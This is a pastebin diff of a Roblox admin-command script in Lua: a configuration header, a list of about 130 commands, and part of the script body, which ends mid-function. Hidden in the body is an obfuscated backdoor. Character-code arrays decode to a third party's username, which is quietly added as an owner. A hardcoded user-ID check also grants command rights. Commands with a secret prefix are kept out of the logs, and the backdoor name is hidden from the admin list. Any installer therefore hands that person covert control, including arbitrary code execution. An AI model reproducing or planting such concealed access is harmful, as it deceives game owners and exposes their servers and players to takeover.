View difference between Paste ID: 0Ce7esje and gp2USAZu
SHOW: | | - or go back to the newest paste.
1-
-----------------------------------------------------------------------------------------
1+
2-
-- Replace harrypotterfan249 with your name c: --
2+
local owners = {"SmokeDelsin"} -- Are able to set admins who can ban/etc... using :pa name
3-
-----------------------------------------------------------------------------------------
3+
4-
local owners = {"harrypotterfan249"} -- Are able to set admins who can ban/etc... using :pa name
4+
5
local banland = {"supersonicfan111"} -- Permanently Bans people
6
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
7-
local banland = {"MasterKhaos"} -- Permanently Bans people
7+
8
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
9
---------------------
10
--    VIP Admin    --
11
---------------------
12
local VipAdmin = false -- If someone can have admin for owning an item
13
local ItemId = 0 -- The item they must own in order to have admin
14
---------------------
15
--   Group Admin   --
16
---------------------
17
local GroupAdmin = false -- If a certain group can have admin
18
local GroupId = 0 -- Sets the group id that can have admin
19
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
20
---------------------
21
-- Tips and Tricks --
22
---------------------
23
--[[
24
With this admin you can do a command on multiple people at a time;
25
	 :kill me,noob1,noob2,random,team-raiders,nonadmins
26
27
You can also use a variety commands for different people;
28
	 all
29
	 others
30
	 me
31
	 team-
32
	 admins
33
	 nonadmins
34
	 random
35
--]]
36
---------------------
37
--    Commands     --
38
---------------------
39
--[[
40
-- |Temp Admin Commands| --
41
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
42
1. :s print("Hello World") -- Lets you script normally
43
2. :ls print("Hello World") -- Lets you script in localscripts
44
3. :clear -- Will remove all scripts/localscripts and jails
45
4. :m Hello People -- This commands will let you shout a message to everyone on the server
46
5. :kill kohl -- Kills the player
47
6. :respawn kohl -- Respawns the player
48
7. :trip kohl -- Trips the player
49
8. :stun kohl -- Stuns the player
50
9. :unstun kohl -- Unstuns the player
51
10. :jump kohl -- Makes the player jump
52
11. :sit kohl -- Makes the player sit
53
12. :invisible kohl -- Makes the player invisible
54
13. :visible kohl -- Makes the player visible
55
14. :explode kohl -- Makes the player explode
56
15. :fire kohl -- Sets the player on fire
57
16. :unfire kohl -- Removes fire from the player
58
17. :smoke kohl -- Adds smoke to the player
59
18. :unsmoke kohl -- Removes smoke from the player
60
19. :sparkles kohl -- Adds sparkles to the player
61
20. :unsparkles kohl -- Removes sparkles from the player
62
21. :ff kohl -- Adds a forcefield to the player
63
22. :unff kohl -- Removes the forcefield from the player
64
23. :punish kohl -- Punishes the player
65
24. :unpunish kohl -- Unpunishes the player
66
25. :freeze kohl -- Freezes the player
67
26. :thaw kohl -- Thaws the player
68
27. :heal kohl -- Heals the player
69
28. :god kohl -- Makes the player have infinite health
70
29. :ungod kohl -- Makes the player have 100 health
71
30. :ambient .5 .5 .5 -- Changes the ambient
72
31. :brightness .5 -- Changes the brightness
73
32. :time 12 -- Changes the time
74
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
75
34. :fogend 100 -- Changes the fogend
76
35. :fogstart 100 -- Changes the fogstart
77
36. :removetools kohl -- Removes all tools from the player
78
37. :btools kohl -- Gives the player building tools
79
38. :give kohl sword -- Gives the player a tool
80
39. :damage kohl -- Damages the player
81
40. :grav kohl -- Sets the player's gravity to normal
82
41. :setgrav kohl 100 -- Sets the player's gravity
83
42. :nograv kohl -- Makes the player have 0 gravity
84
43. :health kohl 1337 -- Changes the player's health
85
44. :speed kohl 1337 -- Changes the player's walkspeed
86
45. :name kohl potato -- Changes the player's name
87
46. :unname kohl -- Remove the player's name
88
47. :team kohl Raiders -- Changes the player's team
89
48. :stopmusic -- Will stop all music playing in the server
90
49. :teleport kohl potato -- Teleports the player
91
50. :change kohl kills 1337 -- Changes a player's stat
92
51. :kick kohl -- Removes the player from the game
93
52. :infect kohl -- Turns the player into a zombie
94
53. :rainbowify kohl -- Turns the player into a rainbow
95
54. :flashify kohl -- Turns the player into a strobe
96
55. :noobify kohl -- Turns the player into a noob
97
56. :ghostify kohl -- Turns the player into a ghost
98
57. :goldify kohl -- Turns the player into gold
99
58. :shiny kohl -- Makes the player shiny
100
59. :normal kohl -- Puts the player back to normal
101
60. :trippy kohl -- Spams random colors on the player's screen
102
61. :untrippy kohl -- Untrippys the player
103
62. :strobe kohl -- Spams white and black on the player's screen
104
63. :unstrobe kohl -- Unstrobes the player
105
64. :blind kohl -- Blinds the player
106
65. :unblind kohl -- Unblinds the player
107
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
108
67. :fling kohl -- Flings the player
109
68. :seizure kohl -- Puts the player in a seizure
110
69. :music 1337 -- Plays a sound from the ID
111
70. :lock kohl -- Locks the player
112
71. :unlock kohl -- Unlocks the player
113
72. :removelimbs kohl -- Removes the player's limbs
114
73. :jail kohl -- Puts the player in a jail
115
74. :unjail kohl -- Removes the jail from the player
116
75. :fix -- This will fix the lighting to it's original settings
117
76. :fly kohl -- Makes the player fly
118
77. :unfly kohl -- Removes fly from the player
119
78. :noclip kohl -- Makes the player able to noclip
120
79. :clip kohl -- Removes noclipping from the player
121
80. :pm kohl Hey bro -- Sends the player a private message
122
81. :dog kohl -- Turns the player into a dog
123
82. :undog kohl -- Turns the player back to normal
124
83. :creeper kohl -- Turns the player into a creeper
125
84. :uncreeper kohl -- Turns the player back to normal
126
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
127
86. :char kohl 261 -- Will make a player look like a different player ID
128
87. :unchar kohl -- Will return the player back to normal
129
88. :h Hello People -- This will shout a hint to everyone
130
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
131
90. :starttools kohl -- Will give the player starter tools
132
91. :sword kohl -- Will give the player a sword
133
92. :bighead kohl -- Will make the player's head larger than normal
134
93. :minihead kohl -- Will make the player's head smaller than normal
135
94. :insert 1337 -- Will insert a model at the speaker's position
136
95. :disco -- Will make the server flash random colors
137
96. :flash -- Will make the server flash
138
97. :admins -- Shows the admin list
139
98. :bans -- Shows the banlist
140
99. :musiclist -- Shows the music list
141
100. :spin kohl -- Spins the player
142
101. :cape kohl Really black -- Gives the player a colored cape
143
102. :uncape kohl -- Removes the player's cape
144
103. :loopheal kohl -- Will constantly heal the player
145
104. :loopfling kohl -- Will constantly fling the player
146
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
147
106. :unloopheal kohl -- Will remove the loopheal on the player
148
107. :unloopfling kohl -- Will remove the loopfling on the player
149
108. :unspin kohl -- Removes spin from the player
150
109. :tools -- Gives a list of the tools in the lighting
151
110. :undisco -- Removes disco effects
152
111. :unflash -- Removes flash effects
153
112. :resetstats kohl -- Sets all the stats of a player to 0
154
113. :gear kohl 1337 -- Gives a player a gear
155
114. :cmdbar -- Gives the speaker a command bar
156
115. :shirt kohl 1337 -- Changes the player's shirt
157
116. :pants kohl 1337 -- Changes the player's pants
158
117. :face kohl 1337 -- Changes the player's face
159
118. :swagify kohl -- Swagifies the player
160
119. :version -- Shows the current version of the admin
161
120. :tm 1337 yolo -- Shows a message for 1337 seconds
162
121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
163
122. :clone kohl -- Creates a clone of the player
164
123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
165
124. :startergive kohl epic -- Gives a player a gear in their starterpack
166
125. :control kohl -- Controls a player
167
168
-- |Admin Commands| --
169
- :serverlock -- Locks the server
170
- :serverunlock -- Unlocks the server
171
- :sm Hello World -- Creates a system message
172
- :crash kohl -- Crashes a player
173
- :admin kohl -- Admins a player
174
- :unadmin kohl -- Unadmins a player
175
- :ban kohl -- Bans a player
176
- :unban kohl -- Unbans a player
177
- :loopkill kohl -- Will constantly kill the player
178
- :unloopkill kohl -- Will remove the loopkill on the player
179
- :logs -- Will show all of the commands any admin has used in a game session
180
- :shutdown -- Shutsdown the server
181
182
-- |Owner Commands| --
183
- :pa kohl -- Makes someone a super admin
184
- :unpa kohl -- Removes a super admin
185
- :nuke kohl -- Creates a nuke on kohl
186
187
-- |True Owner Commands| --
188
- :oa kohl -- Makes someone an owner
189
- :unoa kohl -- Removes an owner
190
- :settings -- Shows settings for the commands
191
--]]
192
---------------------
193
--   Main Script   --
194
---------------------
195
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end 
196
197
function CHEESE()
198
if game:service("Lighting"):findFirstChild("KACV2") then
199
owners = {} admins = {} tempadmins = {} banland = {}
200
for i,v in pairs(game.Lighting.KACV2:children()) do
201
if v.Name == "Owner" then table.insert(owners, v.Value) end
202
if v.Name == "Admin" then table.insert(admins, v.Value) end
203
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
204
if v.Name == "Banland" then table.insert(banland, v.Value) end
205
if v.Name == "Prefix" then prefix = v.Value end
206
if v.Name == "FunCommands" then FunCommands = v.Value end
207
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
208
if v.Name == "GroupId" then GroupId = v.Value end
209
if v.Name == "GroupRank" then GroupRank = v.Value end
210
if v.Name == "VipAdmin" then VipAdmin = v.Value end
211
if v.Name == "ItemId" then ItemId = v.Value end
212
end
213
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
214
end
215
216
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
217
local lobjs = {}
218
local objects = {}
219
local logs = {}
220
local nfs = ""
221
local slock = false
222
223
function GetTime()
224
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
225
if min < 10 then min = "0"..min end
226
return hour..":"..min
227
end
228
229
function ChkOwner(str)
230
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
231
return false
232
end
233
234
function ChkAdmin(str,ck) 
235
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
236
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
237
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
238
return false 
239
end
240
241
function ChkGroupAdmin(plr)
242
if GroupAdmin then
243
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
244
return false
245
end
246
end
247
248
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
249
250
function GetPlr(plr, str)
251
local plrz = {} str = str:lower()
252
if str == "all" then plrz = game.Players:children()
253
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
254
else
255
local sn = {1} local en = {}
256
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
257
for x = 1, #sn do 
258
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
259
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
260
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
261
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
262
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
263
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
264
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
265
end end end
266
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
267
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
268
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
269
end end end
270
else
271
for a, plyr in pairs(game.Players:children()) do 
272
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then 
273
table.insert(plrz, plyr) break
274
end
275
end 
276
end
277
end
278
end
279
return plrz
280
end
281
282
function Hint(str, plrz, time)
283
for i, v in pairs(plrz) do
284
if v and v:findFirstChild("PlayerGui") then
285
coroutine.resume(coroutine.create(function()
286
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
287
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
288
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
289
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
290
if not time then wait((#str/19)+2.5) else wait(time) end
291
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
292
end))
293
end
294
end
295
end
296
297
function Message(ttl, str, scroll, plrz, time)
298
for i, v in pairs(plrz) do
299
if v and v:findFirstChild("PlayerGui") then
300
coroutine.resume(coroutine.create(function()
301
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
302
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
303
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
304
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
305
scr.Parent = v.PlayerGui
306
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) 
307
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
308
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
309
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
310
end))
311
end
312
end
313
end
314
315
function RemoveMessage() 
316
for i,v in pairs(game.Players:children()) do 
317
if v and v:findFirstChild("PlayerGui") then 
318
for q,ms in pairs(v.PlayerGui:children()) do
319
if ms.Name == "MessageGUI" then
320
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
321
elseif ms.Name == "HintGUI" then
322
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
323
end
324
end
325
end
326
end
327
end
328
329
_G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
330
_G["RemoveMessage"] = RemoveMessage()
331
332
function Output(str, plr)
333
coroutine.resume(coroutine.create(function()
334
local b, e = loadstring(str)
335
if not b and plr:findFirstChild("PlayerGui") then
336
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
337
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
338
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
339
return
340
end
341
end))
342
end
343
344
function Noobify(char)
345
if char and char:findFirstChild("Torso") then 
346
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
347
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
348
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
349
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
350
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
351
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
352
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
353
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
354
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
355
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
356
end end
357
end
358
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
359
360
function Infect(char)
361
if char and char:findFirstChild("Torso") then 
362
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
363
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
364
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
365
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
366
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
367
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
368
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
369
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
370
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
371
end end
372
end
373
end if not ntab then script:Destroy() end
374
375
function ScrollGui()
376
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
377
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
378
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
379
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
380
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
381
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
382
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
383
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
384
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
385
local num = 0
386
local downv = false
387
local upv = false
388
389
down.MouseButton1Down:connect(function() downv = true upv = false
390
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
391
repeat  pos = pos + UDim2.new(0,0,0,-6)
392
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
393
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
394
end) 
395
down.MouseButton1Up:connect(function() downv = false end)
396
up.MouseButton1Down:connect(function() upv = true downv = false
397
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
398
repeat  pos = pos + UDim2.new(0,0,0,6)
399
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
400
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
401
end) 
402
up.MouseButton1Up:connect(function() upv = false end)
403
return scr, cmf, ent, num
404
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
405
if not ntab then script:Destroy() end
406
if not bct then script:Destroy() end
407
408
function Chat(msg,plr)
409
coroutine.resume(coroutine.create(function()
410
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
411
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
412
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
413
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
414
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
415
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
416
if msg:lower() == "cmds" or msg:lower() == "commands" then
417
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
418
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
419
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
420
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
421
local ost = {"pa plr","unpa plr","nuke plr"}
422
local tost = {"oa plr","unoa plr","settings"}
423
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
424
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
425
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
426
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
427
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
428
end
429
430
if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
431
432
if msg:lower() == "admins" or msg:lower() == "adminlist" then
433
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
434
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
435
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
436
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
437
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
438
end end
439
440
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
441
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
442
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
443
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
444
end
445
446
if msg:lower() == "tools" or msg:lower() == "toollist" then
447
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
448
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
449
for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
450
end
451
452
if msg:lower():sub(1,2) == "s " then
453
coroutine.resume(coroutine.create(function()
454
Output(msg:sub(3), plr)
455
if script:findFirstChild("ScriptBase") then
456
